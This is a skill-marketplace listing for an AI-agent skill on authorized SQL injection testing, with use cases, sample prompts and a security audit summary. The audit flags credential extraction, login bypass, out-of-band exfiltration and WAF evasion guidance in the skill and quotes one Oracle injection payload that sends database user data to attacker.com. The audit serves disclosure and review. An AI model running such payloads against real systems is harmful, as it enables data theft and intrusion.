📦
content-creator
88Create Brand-Consistent Marketing Content
Marketing teams need content that stays consistent across channels. This skill helps plan, write, analyze, and optimize content for brand voice and SEO.
Writing & Content View
Skills sql-injection-testing
📦
sql-injection-testing
v1.1 Content revision r1 High Risk ⚙️ External commands🌐 Network access
Test SQL Injection Safely
SQL injection testing needs clear scope and careful evidence handling. This skill helps authorized teams plan checks, understand techniques, and report fixes.
Supports: Claude Codex Code(CC)
Stop for confirmation before installing.
Review the plan and obtain explicit user consent before changing files.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "sql-injection-testing" from https://skillstore.io/skills/sickn33-sql-injection-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-sql-injection-testing/manifest. Verify the artifact. Stop and obtain explicit user consent before installing or changing files.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "sql-injection-testing". Authorized review of a product search parameter with inconsistent responses.
Expected outcome:
A finding summary covering tested input, response differences, likely injection class, impact, evidence limits, and recommended parameterized queries.
Using "sql-injection-testing". Developer asks how to fix a vulnerable login query.
Expected outcome:
A remediation note explaining parameterized statements, server-side validation, least-privilege database accounts, and regression tests.
Using "sql-injection-testing". Security consultant needs an executive summary for a scoped SQLi assessment.
Expected outcome:
A concise risk summary with affected areas, business impact, proof-of-concept boundaries, and prioritized remediation steps.
Security Audit
High Riskv4 • 7/7/2026 Open versioned report
Most static external-command findings are false positives caused by Markdown fences and inline payload formatting. The skill still contains actionable SQL injection exploitation guidance, including credential extraction, authentication bypass, out-of-band exfiltration, and WAF evasion. No prompt injection text was found in the reviewed file.
1
Files scanned
449
Lines analyzed
1
Review items
0
False positives ignored
Confirmed security concerns (2)
High
Operational SQL Injection Exploitation Guidance
The skill provides actionable steps for credential extraction, authentication bypass, and out-of-band data exfiltration. This is high-risk dual-use content even though the file includes authorization guardrails.
The cited sections explicitly show extraction of usernames and passwords, login bypass payloads, and DNS or HTTP exfiltration methods. The risk is clear from the documented intent and examples.
Medium
WAF And Filter Evasion Guidance
The skill teaches encoding, inline comments, keyword manipulation, and request fragmentation to bypass filters and WAF controls. This can help authorized testers, but it also improves misuse capability.
The referenced sections are specifically labeled as filter and WAF bypass techniques. They provide concrete evasion approaches rather than only defensive remediation guidance.
Capability review items (1)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Hardcoded URL
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Line 183 provides an Oracle HTTP request payload that would send database user data to attacker.com. Although it is documentation, it is explicit out-of-band exfiltration guidance.
Risk Factors
⚙️ External commands (59)
SKILL.md:56-62 SKILL.md:62-67 SKILL.md:67-84 SKILL.md:84-95 SKILL.md:95-104 SKILL.md:104-113 SKILL.md:113-129 SKILL.md:129-134 SKILL.md:134-143 SKILL.md:143-148 SKILL.md:148-155 SKILL.md:155-160 SKILL.md:160-170 SKILL.md:170-175 SKILL.md:175-184 SKILL.md:184-191 SKILL.md:191-204 SKILL.md:204-207 SKILL.md:207-214 SKILL.md:214-221 SKILL.md:221-236 SKILL.md:236-241 SKILL.md:241-249 SKILL.md:249-254 SKILL.md:254-269 SKILL.md:269-274 SKILL.md:274-280 SKILL.md:280-283 SKILL.md:283-298 SKILL.md:298-301 SKILL.md:301-311 SKILL.md:311-316 SKILL.md:316 SKILL.md:317-318 SKILL.md:318-319 SKILL.md:319 SKILL.md:320-321 SKILL.md:321-322 SKILL.md:322-323 SKILL.md:323-352 SKILL.md:352-354 SKILL.md:354-357 SKILL.md:357-360 SKILL.md:360-363 SKILL.md:363-368 SKILL.md:368-371 SKILL.md:371-374 SKILL.md:374-381 SKILL.md:381-384 SKILL.md:384-387 SKILL.md:387-390 SKILL.md:390-393 SKILL.md:393-396 SKILL.md:396-403 SKILL.md:403-405 SKILL.md:405-408 SKILL.md:408-411 SKILL.md:411-414 SKILL.md:414-416
🌐 Network access (1)
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-sql-injection-testing/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-sql-injection-testing?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-sql-injection-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-sql-injection-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-sql-injection-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). sql-injection-testing security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-sql-injection-testing/audits/4BibTeX citation
@techreport{sickn33-sickn33-sql-injection-testing-2026,
author = {sickn33},
title = {sql-injection-testing security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-sql-injection-testing/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "sql-injection-testing security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-sql-injection-testing/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-sql-injection-testing:audit:4"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Plan an Authorized Assessment
Create a scoped SQL injection test plan with target inputs, evidence limits, and stopping conditions.
Understand Vulnerable Query Patterns
Review how unsafe query construction can lead to data exposure or login bypass.
Prepare a Security Report
Organize findings, impact, proof-of-concept evidence, and remediation guidance for stakeholders.
Try These Prompts
Create a Test Plan
I have written authorization to test [application]. Create a scoped SQL injection test plan with inputs, evidence limits, and stop conditions.
Triage One Parameter
Review this authorized finding for [parameter]. Explain likely SQL injection type, safe confirmation steps, and evidence needed for a report.
Map Database-Specific Checks
For an authorized assessment of [database type], outline relevant SQL injection checks, expected signals, and safe proof limits.
Draft Remediation Guidance
Turn these authorized SQL injection observations into a remediation report with impact, reproduction summary, and secure coding recommendations.
Best Practices
- Confirm written authorization, scope, and emergency contacts before using any payload.
- Use the smallest possible proof-of-concept and avoid real user data.
- Document requests, responses, and remediation steps in a secure report.
Avoid
- Testing production systems without written approval.
- Dumping full databases when a small sample proves impact.
- Using evasion techniques to bypass controls outside the approved scope.
Frequently Asked Questions
Is this skill only for authorized testing?
Yes. The skill is intended for systems where the tester has written permission and a defined scope.
Does the skill run SQLMap or send requests?
No. It is documentation and workflow guidance. It does not execute tools by itself.
Can developers use it for remediation?
Yes. Developers can use it to understand impact and plan parameterized queries, validation, and tests.
Does it cover blind SQL injection?
Yes. It describes boolean-based and time-based blind testing concepts for authorized assessments.
What evidence should a tester collect?
Collect minimal proof, request and response details, affected parameters, impact, and remediation advice.
What are the main risks?
Misuse can expose data, bypass authentication, trigger monitoring, or disrupt services outside the approved scope.
Developer Details
Author
sickn33License
MIT
Author version
v1.1
Skillstore revision
r1
Version notice
The author-declared version is not valid SemVer.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/sql-injection-testingRef
9f814fc6a43fd99946f2da5e0df231c65a38bc76
Maintenance freshness
7/18/2026
Usage
10 downloads · 107 views
File structure
📄 SKILL.md
More from sickn33
View all📦
prompt-engineering-patterns
85Improve LLM Prompts With Proven Patterns
Inconsistent prompts waste time and make AI outputs hard to trust. This skill guides prompt design with reusable patterns, examples, evaluation steps, and optimization workflows.
Productivity View
📦
senior-fullstack
82Build Fullstack Apps with Senior Patterns
Teams need consistent setup, architecture, and review guidance for modern web applications. This skill provides scaffolders, workflow references, and quality prompts for React, Next.js, Node.js, GraphQL, and PostgreSQL projects.
Coding & Development View
📦
senior-architect
81Design Scalable Software Architectures
Architecture decisions are hard to compare across web, mobile, backend, and cloud systems. This skill provides structured guides and local scaffold scripts for reports, dependency review, and trade-off documentation.
Coding & Development View
📦
prompt-engineer
81Optimize AI Prompts With Prompt Engineer
Writing clear prompts is hard when goals are vague or complex. This skill turns rough requests into structured prompts using proven prompt frameworks.
Productivity View
📦
product-manager-toolkit
80Prioritize Product Work With Research Insights
Product teams need faster ways to rank features, synthesize interviews, and document decisions. This skill provides RICE scoring, interview analysis, and PRD templates for structured planning.
Productivity View
Related Skills
View all📦
webapp-sqlmap
38Assess SQL Injection with SQLMap
by AgentSecOps
Manual SQL injection testing is slow and inconsistent. This skill provides structured SQLMap commands, authorization checks, validation steps, and reporting guidance for approved assessments.
Security & Compliance View
📦
security-report
78Create Security Assessment Reports
by BytR-Ecosystems
Security findings often become inconsistent reports that are difficult to prioritize. This skill guides structured DOCX reports with risk ratings, evidence, and remediation plans.
Security & Compliance View
📦
exploitation-knowledge
38Assess Exploitation Techniques and Shell Access
by CharlesKozel
Security teams need a structured way to review exploit workflows and understand operational risk. This skill organizes exploitation methods, payload choices, and post-access checks for controlled lab or audit review.
Security & Compliance View
📦
python-web-app-security-audit
90Audit Python Web Apps Before Release
by glenskii
Python teams need repeatable checks for common application security controls. This skill provides configurable pytest coverage with clear evidence, boundaries, and release decisions.
Security & Compliance View
📦
senior-security
81Strengthen Application Security Reviews
by alirezarezvani
Security reviews often lack consistent checklists and reusable workflows. This skill provides security review scaffolds, reference guidance, and simple reporting scripts for Claude, Codex, and Claude Code.
Security & Compliance View
📦
security-audit
79Audit Applications for Security Risk
by 89jobrien
Security reviews can miss common vulnerabilities when scope, severity, and remediation are unclear. This skill guides structured audits using OWASP checks, CVSS scoring, and report templates.
Security & Compliance View